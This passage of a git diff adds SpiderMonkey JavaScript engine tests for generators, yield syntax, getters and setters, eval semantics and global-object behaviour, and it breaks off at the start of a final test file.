+/**************
+ * BEGIN TEST *
+ **************/
+
+function* fib()
+{
+ var a = 0, b = 1;
+ while (true)
+ {
+ yield a;
+ var t = a;
+ a = b;
+ b += t;
+ }
+}
+
+var failed = false;
+
+try
+{
+ var g = fib();
+
+ if (g.next().value != 0)
+ throw "F_0 = 0";
+ if (g.next().value != 1)
+ throw "F_1 = 1";
+ if (g.next().value != 1)
+ throw "F_2 = 1";
+ if (g.next().value != 2)
+ throw "F_3 = 2";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/generators/subclass.js b/js/src/tests/non262/generators/subclass.js
new file mode 100644
index 0000000000..f93f4df4db
--- /dev/null
+++ b/js/src/tests/non262/generators/subclass.js
@@ -0,0 +1,33 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+const GeneratorFunction = function*(){}.constructor;
+
+class MyGen extends GeneratorFunction {}
+
+// MyGen inherits from %GeneratorFunction%.
+assertEq(Object.getPrototypeOf(MyGen), GeneratorFunction);
+
+// MyGen.prototype inherits from %Generator%.
+assertEq(Object.getPrototypeOf(MyGen.prototype), GeneratorFunction.prototype);
+
+var fn = new MyGen("yield* [1, 2, 3]");
+
+// fn inherits from MyGen.prototype.
+assertEq(Object.getPrototypeOf(fn), MyGen.prototype);
+
+// fn.prototype inherits from %GeneratorPrototype%.
+assertEq(Object.getPrototypeOf(fn.prototype), GeneratorFunction.prototype.prototype);
+
+// Ensure the new generator function can be executed.
+var it = fn();
+
+// it inherits from fn.prototype.
+assertEq(Object.getPrototypeOf(it), fn.prototype);
+
+// Computes the expected result.
+assertEqArray([...it], [1, 2, 3]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/syntax.js b/js/src/tests/non262/generators/syntax.js
new file mode 100644
index 0000000000..21ecf02875
--- /dev/null
+++ b/js/src/tests/non262/generators/syntax.js
@@ -0,0 +1,140 @@
+// This file was written by Andy Wingo <wingo@igalia.com> and originally
+// contributed to V8 as generators-parsing.js, available here:
+//
+// http://code.google.com/p/v8/source/browse/branches/bleeding_edge/test/mjsunit/harmony/generators-parsing.js
+
+function assertSyntaxError(str) {
+ var msg;
+ var evil = eval;
+ try {
+ // Non-direct eval.
+ evil(str);
+ } catch (exc) {
+ if (exc instanceof SyntaxError)
+ return;
+ msg = "Assertion failed: expected SyntaxError, got " + exc;
+ }
+ if (msg === undefined)
+ msg = "Assertion failed: expected SyntaxError, but no exception thrown";
+ throw new Error(msg + " - " + str);
+}
+
+// Yield statements.
+function* g() { yield 3; yield 4; }
+
+// Yield expressions.
+function* g() { (yield 3) + (yield 4); }
+
+// Yield without a RHS.
+function* g() { yield; }
+function* g() { yield }
+function* g() {
+ yield
+}
+function* g() { (yield) }
+function* g() { [yield] }
+function* g() { {yield} }
+function* g() { (yield), (yield) }
+function* g() { yield; yield }
+function* g() { (yield) ? yield : yield }
+function* g() {
+ (yield)
+ ? yield
+ : yield
+}
+
+// If yield has a RHS, it needs to start on the same line. The * in a
+// yield* counts as starting the RHS.
+function* g() {
+ yield *
+ foo
+}
+assertThrowsInstanceOf(() => Function("function* g() { yield\n* foo }"), SyntaxError);
+assertIteratorNext(function*(){
+ yield
+ 3
+ }(), undefined)
+
+// A YieldExpression is not a LogicalORExpression.
+assertThrowsInstanceOf(() => Function("function* g() { yield ? yield : yield }"), SyntaxError);
+
+// You can have a generator in strict mode.
+function* g() { "use strict"; yield 3; yield 4; }
+
+// Generators can have return statements also, which internally parse to a kind
+// of yield expression.
+function* g() { yield 1; return; }
+function* g() { yield 1; return 2; }
+function* g() { yield 1; return 2; yield "dead"; }
+
+// Generator expression.
+(function* () { yield 3; });
+
+// Named generator expression.
+(function* g() { yield 3; });
+
+// Generators do not have to contain yield expressions.
+function* g() { }
+
+// YieldExpressions can occur in the RHS of a YieldExpression.
+function* g() { yield yield 1; }
+function* g() { yield 3 + (yield 4); }
+
+// Generator definitions with a name of "yield" are not specifically ruled out
+// by the spec, as the `yield' name is outside the generator itself. However,
+// in strict-mode, "yield" is an invalid identifier.
+function* yield() { (yield 3) + (yield 4); }
+assertSyntaxError("function* yield() { 'use strict'; (yield 3) + (yield 4); }");
+
+// In classic mode, yield is a normal identifier, outside of generators.
+function yield(yield) { yield: yield (yield + yield (0)); }
+
+// Yield is always valid as a key in an object literal.
+({ yield: 1 });
+function* g() { yield ({ yield: 1 }) }
+function* g() { yield ({ get yield() { return 1; }}) }
+
+// Yield is a valid property name.
+function* g(obj) { yield obj.yield; }
+
+// Checks that yield is a valid label in classic mode, but not valid in a strict
+// mode or in generators.
+function f() { yield: 1 }
+assertSyntaxError("function f() { 'use strict'; yield: 1 }")
+assertSyntaxError("function* g() { yield: 1 }")
+
+// Yield is only a keyword in the body of the generator, not in nested
+// functions.
+function* g() { function f(yield) { yield (yield + yield (0)); } }
+
+// Yield in a generator is not an identifier.
+assertSyntaxError("function* g() { yield = 10; }");
+
+// Yield binds very loosely, so this parses as "yield (3 + yield 4)", which is
+// invalid.
+assertSyntaxError("function* g() { yield 3 + yield 4; }");
+
+// Yield is still a future-reserved-word in strict mode
+assertSyntaxError("function f() { 'use strict'; var yield = 13; }");
+
+// The name of the NFE isn't let-bound in F/G, so this is valid.
+function f() { (function yield() {}); }
+function* g() { (function yield() {}); }
+
+// The name of the NFE is let-bound in the function/generator expression, so this is invalid.
+assertSyntaxError("function f() { (function* yield() {}); }");
+assertSyntaxError("function* g() { (function* yield() {}); }");
+
+// The name of the declaration is let-bound in F, so this is valid.
+function f() { function yield() {} }
+function f() { function* yield() {} }
+
+// The name of the declaration is let-bound in G, so this is invalid.
+assertSyntaxError("function* g() { function yield() {} }");
+assertSyntaxError("function* g() { function* yield() {} }");
+
+// In generators, yield is invalid as a formal argument name.
+assertSyntaxError("function* g(yield) { yield (10); }");
+
+if (typeof reportCompare == "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/yield-error.js b/js/src/tests/non262/generators/yield-error.js
new file mode 100644
index 0000000000..ac915ebcd7
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-error.js
@@ -0,0 +1,32 @@
+var BUGNUMBER = 1384299;
+var summary = "yield outside of generators should provide better error";
+
+print(BUGNUMBER + ": " + summary);
+
+let caught = false;
+try {
+ eval("yield 10");
+} catch(e) {
+ assertEq(e.message, "yield expression is only valid in generators");
+ caught = true;
+}
+assertEq(caught, true);
+
+try {
+ eval("function f() { yield 10; }");
+} catch(e) {
+ assertEq(e.message, "yield expression is only valid in generators");
+ caught = true;
+}
+assertEq(caught, true);
+
+try {
+ eval("async function f() { yield 10; }");
+} catch(e) {
+ assertEq(e.message, "yield expression is only valid in generators");
+ caught = true;
+}
+assertEq(caught, true);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/yield-iterator-close.js b/js/src/tests/non262/generators/yield-iterator-close.js
new file mode 100644
index 0000000000..970ad494d2
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-iterator-close.js
@@ -0,0 +1,58 @@
+// Test that IteratorClose is called when a Generator is abruptly completed by
+// Generator.return.
+
+var returnCalled = 0;
+function* wrapNoThrow() {
+ let iter = {
+ [Symbol.iterator]() {
+ return this;
+ },
+ next() {
+ return { value: 10, done: false };
+ },
+ return() {
+ returnCalled++;
+ return {};
+ }
+ };
+ for (const i of iter) {
+ yield i;
+ }
+}
+
+// Breaking calls Generator.return, which causes the yield above to resume with
+// an abrupt completion of kind "return", which then calls
+// iter.return.
+for (const i of wrapNoThrow()) {
+ break;
+}
+assertEq(returnCalled, 1);
+
+function* wrapThrow() {
+ let iter = {
+ [Symbol.iterator]() {
+ return this;
+ },
+ next() {
+ return { value: 10, done: false };
+ },
+ return() {
+ throw 42;
+ }
+ };
+ for (const i of iter) {
+ yield i;
+ }
+}
+
+// Breaking calls Generator.return, which, like above, calls iter.return. If
+// iter.return throws, since the yield is resuming with an abrupt completion of
+// kind "return", the newly thrown value takes precedence over returning.
+assertThrowsValue(() => {
+ for (const i of wrapThrow()) {
+ break;
+ }
+}, 42);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/yield-non-regexp.js b/js/src/tests/non262/generators/yield-non-regexp.js
new file mode 100644
index 0000000000..d9fbcd3598
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-non-regexp.js
@@ -0,0 +1,16 @@
+var BUGNUMBER = 1099956;
+var summary =
+ "The token next to yield should be tokenized as non-operand if yield is " +
+ "a valid name";
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+var yield = 12, a = 3, b = 6, g = 2;
+var yieldParsedAsIdentifier = false;
+
+yield /a; yieldParsedAsIdentifier = true; b/g;
+
+assertEq(yieldParsedAsIdentifier, true);
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/generators/yield-star-iterator-close.js b/js/src/tests/non262/generators/yield-star-iterator-close.js
new file mode 100644
index 0000000000..91ad31cb64
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-star-iterator-close.js
@@ -0,0 +1,153 @@
+// Tests that the "return" method on iterators is called in yield*
+// expressions.
+
+function test() {
+ var returnCalled = 0;
+ var returnCalledExpected = 0;
+ var nextCalled = 0;
+ var nextCalledExpected = 0;
+ var throwCalled = 0;
+ var throwCalledExpected = 0;
+ var iterable = {};
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ nextCalled++;
+ return { done: false };
+ },
+ ret: function() {
+ returnCalled++;
+ return { done: true, value: "iter.return" };
+ }
+ });
+
+ function* y() {
+ yield* iterable;
+ }
+
+ // G.p.throw on an iterator without "throw" calls IteratorClose.
+ var g1 = y();
+ g1.next();
+ assertThrowsInstanceOf(function() {
+ g1.throw("foo");
+ }, TypeError);
+ assertEq(returnCalled, ++returnCalledExpected);
+ assertEq(nextCalled, ++nextCalledExpected);
+ g1.next();
+ assertEq(nextCalled, nextCalledExpected);
+
+ // G.p.return calls "return", and if the result.done is true, return the
+ // result.
+ var g2 = y();
+ g2.next();
+ var v2 = g2.return("test return");
+ assertEq(v2.done, true);
+ assertEq(v2.value, "iter.return");
+ assertEq(returnCalled, ++returnCalledExpected);
+ assertEq(nextCalled, ++nextCalledExpected);
+ g2.next();
+ assertEq(nextCalled, nextCalledExpected);
+
+ // G.p.return calls "return", and if the result.done is false, continue
+ // yielding.
+ iterable[Symbol.iterator] = makeIterator({
+ next: function() {
+ nextCalled++;
+ return { done: false };
+ },
+ ret: function() {
+ returnCalled++;
+ return { done: false, value: "iter.return" };
+ }
+ });
+ var g3 = y();
+ g3.next();
+ var v3 = g3.return("test return");
+ assertEq(v3.done, false);
+ assertEq(v3.value, "iter.return");
+ assertEq(returnCalled, ++returnCalledExpected);
+ assertEq(nextCalled, ++nextCalledExpected);
+ g3.next();
+ assertEq(nextCalled, ++nextCalledExpected);
+
+ // G.p.return throwing does not re-call iter.return.
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ throw "in iter.return";
+ }
+ });
+ var g4 = y();
+ g4.next();
+ assertThrowsValue(function() {
+ g4.return("in test");
+ }, "in iter.return");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // G.p.return expects iter.return to return an Object.
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function() {
+ returnCalled++;
+ return 42;
+ }
+ });
+ var g5 = y();
+ g5.next();
+ assertThrowsInstanceOf(function() {
+ g5.return("foo");
+ }, TypeError);
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // IteratorClose expects iter.return to return an Object.
+ var g6 = y();
+ g6.next();
+ var exc;
+ try {
+ g6.throw("foo");
+ } catch (e) {
+ exc = e;
+ } finally {
+ assertEq(exc instanceof TypeError, true);
+ // The message test is here because instanceof TypeError doesn't
+ // distinguish the non-Object return TypeError and the
+ // throw-method-is-not-defined iterator protocol error.
+ assertEq(exc.toString().indexOf("non-object") > 0, true);
+ }
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // G.p.return passes its argument to "return".
+ iterable[Symbol.iterator] = makeIterator({
+ ret: function(x) {
+ assertEq(x, "in test");
+ returnCalled++;
+ return { done: true };
+ }
+ });
+ var g7 = y();
+ g7.next();
+ g7.return("in test");
+ assertEq(returnCalled, ++returnCalledExpected);
+
+ // If a throw method is present, do not call "return".
+ iterable[Symbol.iterator] = makeIterator({
+ throw: function(e) {
+ throwCalled++;
+ throw e;
+ },
+ ret: function(x) {
+ returnCalled++;
+ return { done: true };
+ }
+ });
+ var g8 = y();
+ g8.next();
+ assertThrowsValue(function() {
+ g8.throw("foo");
+ }, "foo");
+ assertEq(throwCalled, ++throwCalledExpected);
+ assertEq(returnCalled, returnCalledExpected);
+}
+
+test();
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/yield-star-iterator-primitive.js b/js/src/tests/non262/generators/yield-star-iterator-primitive.js
new file mode 100644
index 0000000000..90d9e75785
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-star-iterator-primitive.js
@@ -0,0 +1,31 @@
+var BUGNUMBER = 1021835;
+var summary = "Returning non-object from @@iterator should throw";
+
+print(BUGNUMBER + ": " + summary);
+
+let primitives = [
+ 1,
+ true,
+ undefined,
+ null,
+ "foo",
+ Symbol.iterator
+];
+
+for (let primitive of primitives) {
+ let obj = {
+ [Symbol.iterator]() {
+ return primitive;
+ }
+ };
+ assertThrowsInstanceOf(() => {
+ function* g() {
+ yield* obj;
+ }
+ for (let x of g()) {
+ }
+ }, TypeError);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/generators/yield-star-throw-htmldda.js b/js/src/tests/non262/generators/yield-star-throw-htmldda.js
new file mode 100644
index 0000000000..a903da02f7
--- /dev/null
+++ b/js/src/tests/non262/generators/yield-star-throw-htmldda.js
@@ -0,0 +1,28 @@
+function* g(iter) {
+ yield* iter;
+}
+
+var calledReturn = false;
+
+var it = g({
+ [Symbol.iterator]() {
+ return this;
+ },
+ next() {
+ return {done: false};
+ },
+ throw: createIsHTMLDDA(),
+ return() {
+ calledReturn = true;
+ return {done: false};
+ }
+});
+
+it.next();
+
+assertThrowsInstanceOf(() => it.throw(""), TypeError);
+
+assertEq(calledReturn, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0);
diff --git a/js/src/tests/non262/get-set/browser.js b/js/src/tests/non262/get-set/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/get-set/browser.js
diff --git a/js/src/tests/non262/get-set/getset-002.js b/js/src/tests/non262/get-set/getset-002.js
new file mode 100644
index 0000000000..5214f9cb50
--- /dev/null
+++ b/js/src/tests/non262/get-set/getset-002.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 4 -*-
+ * This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+var t = {
+ _y: "<initial y>",
+
+ get y()
+ {
+ var rv;
+ if (typeof this._y == "string")
+ rv = "got " + this._y;
+ else
+ rv = this._y;
+
+ return rv;
+ },
+
+ set y(newVal)
+ {
+ this._y = newVal;
+ }
+}
+
+
+ test(t);
+
+function test(t)
+{
+ printStatus ("Basic Getter/ Setter test (object literal notation)");
+
+ reportCompare ("<initial y>", t._y, "y prototype check");
+
+ reportCompare ("got <initial y>", t.y, "y getter, before set");
+
+ t.y = "new y";
+ reportCompare ("got new y", t.y, "y getter, after set");
+
+ t.y = 2;
+ reportCompare (2, t.y, "y getter, after numeric set");
+
+ var d = new Date();
+ t.y = d;
+ reportCompare (d, t.y, "y getter, after date set");
+
+}
diff --git a/js/src/tests/non262/get-set/regress-375976.js b/js/src/tests/non262/get-set/regress-375976.js
new file mode 100644
index 0000000000..d807b6c0f2
--- /dev/null
+++ b/js/src/tests/non262/get-set/regress-375976.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 375976;
+var summary = 'Do not crash with postincrement custom property';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ this.__defineSetter__('x', gc);
+ this.__defineGetter__('x', Math.sin);
+ x = x++;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/get-set/shell.js b/js/src/tests/non262/get-set/shell.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/get-set/shell.js
diff --git a/js/src/tests/non262/global/adding-global-var-nonextensible-error.js b/js/src/tests/non262/global/adding-global-var-nonextensible-error.js
new file mode 100644
index 0000000000..fd5ab13edb
--- /dev/null
+++ b/js/src/tests/non262/global/adding-global-var-nonextensible-error.js
@@ -0,0 +1,36 @@
+// |reftest| skip-if(!xulRuntime.shell) -- preventExtensions on global
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 621432;
+var summary =
+ "If a var statement can't create a global property because the global " +
+ "object isn't extensible, and an error is thrown while decompiling the " +
+ "global, don't assert";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var toSource = [];
+Object.preventExtensions(this);
+
+try
+{
+ eval("var x;");
+ throw new Error("no error thrown");
+}
+catch (e)
+{
+ reportCompare(e instanceof TypeError, true, "expected TypeError, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/browser.js b/js/src/tests/non262/global/browser.js
new file mode 100644
index 0000000000..e69de29bb2
--- /dev/null
+++ b/js/src/tests/non262/global/browser.js
diff --git a/js/src/tests/non262/global/bug-320887.js b/js/src/tests/non262/global/bug-320887.js
new file mode 100644
index 0000000000..5e8d3445ab
--- /dev/null
+++ b/js/src/tests/non262/global/bug-320887.js
@@ -0,0 +1,15 @@
+// `var x` should not call the getter of an existing global property.
+
+var hit = 0;
+Object.defineProperty(this, "x", {
+ get: function () { return ++hit; },
+ configurable: true
+});
+eval("var x;");
+assertEq(hit, 0);
+
+// The declaration should not have redefined the global x, either.
+assertEq(x, 1);
+assertEq(x, 2);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/global/bug660612.js b/js/src/tests/non262/global/bug660612.js
new file mode 100644
index 0000000000..71589f53df
--- /dev/null
+++ b/js/src/tests/non262/global/bug660612.js
@@ -0,0 +1,7 @@
+try {
+ decodeURIComponent('%ED%A0%80');
+ assertEq(true, false, "expected an URIError");
+} catch (e) {
+ assertEq(e instanceof URIError, true);
+ reportCompare(true,true);
+}
diff --git a/js/src/tests/non262/global/cross-global-implicit-this.js b/js/src/tests/non262/global/cross-global-implicit-this.js
new file mode 100644
index 0000000000..90c6e8a958
--- /dev/null
+++ b/js/src/tests/non262/global/cross-global-implicit-this.js
@@ -0,0 +1,84 @@
+// |reftest| skip-if(!xulRuntime.shell) -- needs evaluate()
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 671947;
+var summary = "Unqualified function invocation uses the global object of the called property as |this|";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+this.name = "o";
+
+function f() {
+ return this ? this.name : "t";
+}
+function g() {
+ "use strict";
+ return this ? this.name : "u";
+}
+function h() {
+ return this ? this.name : "v";
+}
+
+var sb = newGlobal();
+sb.parent = this;
+sb.name = "i";
+sb.f = f;
+sb.g = g;
+
+sb.evaluate(
+ '\n' +
+ ' this.a = { name: "a", f: f, g: g };\n' +
+ ' this.b = { name: "b", f: f, g: g };\n' +
+ ' Object.defineProperty(this, "h", { get: (function(){ return parent.h; })});\n' +
+ ' Object.defineProperty(a, "h", { get: (function(){ return parent.h; })});\n' +
+ ' Object.defineProperty(b, "h", { get: (function(){ return parent.h; })});\n' +
+ '');
+
+
+// Three of the first four cases pass undefined (promoted inside the callee to
+// the callee's global object). a.f() is the one exception, which passes the
+// base, a, as the this object.
+assertEq(sb.evaluate('(function(){return f();})();'), "o");
+assertEq(sb.evaluate('(function(){return (1,f)();})();'), "o");
+assertEq(sb.evaluate('(function(){return a.f();})();'), "a");
+assertEq(sb.evaluate('(function(){return eval("f()");})();'), "o");
+
+// Same cases as above, but wrapped in a with. The first and last of these cases
+// pass b, the object scoped by the with, as the this value. a.f() still passes
+// the explicit base, a. (1,f)() is a little tricksier - this passes undefined
+// (promoted to the callee global object) since the comma operator calls
+// GetValue on the reference (see ES5 11.14.).
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return f();})(); }})();'), "b");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return (1,f)();})(); }})();'), "o");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return a.f();})(); }})();'), "a");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return eval("f()");})(); }})();'), "b");
+
+// Same tests as above, but with a strict callee. We expect the same results,
+// except undefined this is not replaced with the global object.
+assertEq(sb.evaluate('(function(){return g();})();'), "u");
+assertEq(sb.evaluate('(function(){return (1,g)();})();'), "u");
+assertEq(sb.evaluate('(function(){return a.g();})();'), "a");
+assertEq(sb.evaluate('(function(){return eval("g()");})();'), "u");
+assertEq(sb.evaluate('(function(){with(b){ return g(); }})();'), "b");
+assertEq(sb.evaluate('(function(){with(b){ return (1,g)(); }})();'), "u");
+assertEq(sb.evaluate('(function(){with(b){ return a.g(); }})();'), "a");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return eval("g()");})(); }})();'), "b");
+
+/* Same as the first set, but h is a getter property. */
+assertEq(sb.evaluate('(function(){return h();})();'), "o");
+assertEq(sb.evaluate('(function(){return (1,h)();})();'), "o");
+assertEq(sb.evaluate('(function(){return a.h();})();'), "a");
+assertEq(sb.evaluate('(function(){return eval("h()");})();'), "o");
+assertEq(sb.evaluate('(function(){with(b){ return h(); }})();'), "b");
+assertEq(sb.evaluate('(function(){with(b){ return (1,h)(); }})();'), "o");
+assertEq(sb.evaluate('(function(){with(b){ return a.h(); }})();'), "a");
+assertEq(sb.evaluate('(function(){with(b){ return (function(){ return eval("h()");})(); }})();'), "b");
+
+if (typeof reportCompare === "function");
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/global/decodeURI-decodes-FFFE-FFFF.js b/js/src/tests/non262/global/decodeURI-decodes-FFFE-FFFF.js
new file mode 100644
index 0000000000..28f3019cda
--- /dev/null
+++ b/js/src/tests/non262/global/decodeURI-decodes-FFFE-FFFF.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 520095;
+var summary =
+ "decodeURI{,Component} should return the specified character for " +
+ "'%EF%BF%BE' and '%EF%BF%BF', not return U+FFFD";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+assertEq(decodeURI("%EF%BF%BE"), "\uFFFE");
+assertEq(decodeURI("%EF%BF%BF"), "\uFFFF");
+assertEq(decodeURIComponent("%EF%BF%BE"), "\uFFFE");
+assertEq(decodeURIComponent("%EF%BF%BF"), "\uFFFF");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/delete-global-NaN-property.js b/js/src/tests/non262/global/delete-global-NaN-property.js
new file mode 100644
index 0000000000..6bce5c26d2
--- /dev/null
+++ b/js/src/tests/non262/global/delete-global-NaN-property.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+"use strict"
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 649570;
+var summary = "|delete window.NaN| should throw a TypeError";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var g = this, v = false;
+try
+{
+ delete this.NaN;
+ throw new Error("no exception thrown");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true,
+ "Expected a TypeError, got: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("Tests complete");
diff --git a/js/src/tests/non262/global/direct-eval-but-not.js b/js/src/tests/non262/global/direct-eval-but-not.js
new file mode 100644
index 0000000000..a34192b372
--- /dev/null
+++ b/js/src/tests/non262/global/direct-eval-but-not.js
@@ -0,0 +1,32 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 609256;
+var summary =
+ "Don't crash doing a direct eval when eval doesn't resolve to an object " +
+ "(let alone the original eval function)";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var eval = "";
+try
+{
+ eval();
+ throw new Error("didn't throw?");
+}
+catch (e)
+{
+ assertEq(e instanceof TypeError, true);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/eval-01.js b/js/src/tests/non262/global/eval-01.js
new file mode 100644
index 0000000000..50bb95ffdb
--- /dev/null
+++ b/js/src/tests/non262/global/eval-01.js
@@ -0,0 +1,38 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = 9;
+var global = this;
+
+function test() {
+ var a = 0;
+
+ // direct eval sees local a
+ assertEq(eval('a+1'), 1);
+ assertEq(eval('eval("a+1")'), 1);
+
+ // indirect: using a name other than 'eval'
+ var foo = eval;
+ assertEq(foo('a+1'), 10);
+ assertEq(eval('foo("a+1")'), 10); // outer eval is direct, inner foo("a+1") is indirect
+
+ // indirect: qualified method call
+ assertEq(this.eval("a+1"), 10);
+ assertEq(global.eval("a+1"), 10);
+ var obj = {foo: eval, eval: eval};
+ assertEq(obj.foo('a+1'), 10);
+ assertEq(obj.eval('a+1'), 10);
+ var name = "eval";
+ assertEq(obj[name]('a+1'), 10);
+ assertEq([eval][0]('a+1'), 10);
+
+ // indirect: not called from a CallExpression at all
+ assertEq(eval.call(undefined, 'a+1'), 10);
+ assertEq(eval.call(global, 'a+1'), 10);
+ assertEq(eval.apply(undefined, ['a+1']), 10);
+ assertEq(eval.apply(global, ['a+1']), 10);
+ assertEq(['a+1'].map(eval)[0], 10);
+}
+
+test();
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/global/eval-02.js b/js/src/tests/non262/global/eval-02.js
new file mode 100644
index 0000000000..e1a315949c
--- /dev/null
+++ b/js/src/tests/non262/global/eval-02.js
@@ -0,0 +1,38 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+var a = 9;
+
+function directArg(eval, s) {
+ var a = 1;
+ return eval(s);
+}
+
+function directVar(f, s) {
+ var eval = f;
+ var a = 1;
+ return eval(s);
+}
+
+function directWith(obj, s) {
+ var f;
+ with (obj) {
+ f = function () {
+ var a = 1;
+ return eval(s);
+ };
+ }
+ return f();
+}
+
+// direct eval, even though 'eval' is an argument
+assertEq(directArg(eval, 'a+1'), 2);
+
+// direct eval, even though 'eval' is a var
+assertEq(directVar(eval, 'a+1'), 2);
+
+// direct eval, even though 'eval' is found via a with block
+assertEq(directWith(this, 'a+1'), 2);
+assertEq(directWith({eval: eval, a: -1000}, 'a+1'), 2);
+
+reportCompare(0, 0);
diff --git a/js/src/tests/non262/global/eval-in-strict-eval-in-normal-function.js b/js/src/tests/non262/global/eval-in-strict-eval-in-normal-function.js
new file mode 100644
index 0000000000..00d76652dd
--- /dev/null
+++ b/js/src/tests/non262/global/eval-in-strict-eval-in-normal-function.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 620130;
+var summary =
+ "Calls to eval with same code + varying strict mode of script containing " +
+ "eval == fail";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+function t(code) { return eval(code); }
+
+assertEq(t("'use strict'; try { eval('with (5) 17'); } catch (e) { 'threw'; }"),
+ "threw");
+assertEq(t("try { eval('with (5) 17'); } catch (e) { 'threw'; }"),
+ 17);
+assertEq(t("'use strict'; try { eval('with (5) 17'); } catch (e) { 'threw'; }"),
+ "threw");
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/global/eval-inside-with-is-direct.js b/js/src/tests/non262/global/eval-inside-with-is-direct.js
new file mode 100644
index 0000000000..d5d66483e0
--- /dev/null
+++ b/js/src/tests/non262/global/eval-inside-with-is-direct.js
@@ -0,0 +1,28 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 601307;
+var summary = "with (...) eval(...) is a direct eval";
